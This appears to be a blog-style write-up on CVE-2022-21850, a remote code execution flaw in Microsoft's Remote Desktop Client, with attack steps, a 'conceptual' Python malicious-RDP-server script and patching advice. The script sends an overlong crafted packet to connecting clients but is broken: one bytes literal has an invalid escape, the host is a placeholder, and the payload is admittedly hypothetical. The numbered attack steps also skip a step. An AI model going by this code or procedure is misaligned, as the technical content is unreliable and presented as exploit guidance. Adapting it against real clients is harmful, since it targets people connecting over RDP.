In early 2022, Microsoft patched a serious security flaw in the Remote Desktop Client, assigned as CVE-2022-21850. This vulnerability is particularly important because it lets attackers run code on a victim’s computer just by getting them to connect to a malicious RDP server. In this article, we’ll dive into what makes CVE-2022-21850 dangerous, how attackers may exploit it, and what you can do to stay safe. (Remember, this CVE is different from the closely related CVE-2022-21851.)

What is CVE-2022-21850?

CVE-2022-21850 is a Remote Code Execution (RCE) bug found in the Microsoft Remote Desktop Client, which most people use to connect to other computers or virtual machines remotely. The problem lies in the way the Remote Desktop Client handles specially crafted requests from a remote server.

In simple terms:  
If you use the RDP client to connect to a bad guy’s server, they could exploit this bug and run their own code on your computer.

How Does the Exploit Work?

The exploit hinges on how the RDP client processes data from the server. A malicious server can send a specially crafted response during connection, causing a memory corruption bug — typically a heap buffer overflow. If successful, this lets the attacker execute code with the privileges of the user running the client.

Attack Steps

1. Set up a fake/malicious RDP server.

3. When the victim’s RDP client connects, the attacker’s server sends malformed data to exploit the vulnerability.
4. Attacker’s code runs on the victim’s machine, possibly installing malware, stealing data, or launching further attacks.

Exploit Example (Conceptual)

Here's a simplified version of what exploitation might look like, focusing on triggering a buffer overflow in the RDP client. Note: This is for educational purposes only!

Python snippet to simulate an RDP server sending a malformed response

import socket

HOST = '...'
PORT = 3389  # Default RDP port

def malicious_rdp_response(client_socket):
    # This is a simplified, hypothetical packet that exploits the bug.
    payload = b"\x03\x00\x00\x13"  # RDP header
    payload += b"\x02\xf\x80"  # Connect-Initial
    payload += b"A" * 2048  # Overlong packet causes overflow in vulnerable clients
    client_socket.send(payload)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen(1)
    print(f"[*] Malicious RDP server listening on {PORT}")
    conn, addr = s.accept()
    with conn:
        print(f"[+] Connection from {addr}")
        malicious_rdp_response(conn)

Again, this is a demonstration — actual exploitation would be much more involved, requiring a deep understanding of the RDP protocol and memory structure in the client.

Find the patch here:

Microsoft Security Update Guide - CVE-2022-21850

How is CVE-2022-21850 Different From CVE-2022-21851?

Although both impact the Remote Desktop stack, CVE-2022-21850 specifically addresses an RCE issue in the RDP client, while CVE-2022-21851 is tied to a related but separate vulnerability. It is crucial to apply patches for both.

References

- Microsoft’s Official CVE-2022-21850 Advisory
- Patch Tuesday, January 2022 Overview by BleepingComputer
- Detailed RDP Protocol Reference

Conclusion

CVE-2022-21850 is a reminder that even trusted software like Microsoft’s RDP client can have serious security holes. By staying updated and cautious about the servers you connect to, you’ll dramatically reduce your risk. Always patch promptly and educate your team about social engineering tricks — attackers love to prey on the unsuspecting.

Timeline

Published on: 01/11/2022 21:15:00 UTC
Last modified on: 05/23/2022 17:29:00 UTC